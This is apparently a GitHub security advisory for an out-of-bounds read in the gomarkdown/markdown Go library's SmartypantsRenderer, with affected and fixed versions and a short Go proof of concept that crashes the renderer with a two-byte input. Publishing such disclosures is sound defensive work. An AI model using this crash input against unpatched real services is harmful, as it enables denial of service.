GitHub Advisoryadvisory · Go
GHSA-77fj-vx54-gvh7 Go Markdown has an Out-of-bounds Read in SmartypantsRenderer
HIGH
Official page ↗
- Aliases
- CVE-2026-40890
- Ecosystem
- Go
- Packages
- github.com/gomarkdown/markdown
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-125
- Reviewed
- 2026-04-14
Affected packages
• Go github.com/gomarkdown/markdown: < 0.0.0-20260411013819-759bbc3e3207 → fixed in 0.0.0-20260411013819-759bbc3e3207
Description
Summary
Processing a malformed input containing a `` character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic.
Details
The `smartLeftAngle()` function in `html/smartypants.go:367-376` performs an out-of-bounds slice operation when processing a `` character anywhere in the remaining text.
https://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376
If the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic.
PoC
```golang
package main
import (
"bytes"
"fmt"
"github.com/gomarkdown/markdown/html"
)
func main() {
src := []byte("<a")
fmt.Printf("Input: %q (len=%d, cap=%d)\n", src, len(src), cap(src))
var buf bytes.Buffer
sp := html.NewSmartypantsRenderer(html.Smartypants)
sp.Process(&buf, src) // panics: slice bounds out of range
fmt.Printf("Output: %q\n", buf.String())
}
```
Impact
This vulnerability will lead to a Denial of Service / panic on the processing service.
-- The Datadog Security Team
Related
Alias · CVE (1)
- CVE-2026-40890 The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. vulnerability
Weakness · CWE (1)
- CWE-125 Out-of-bounds Read weakness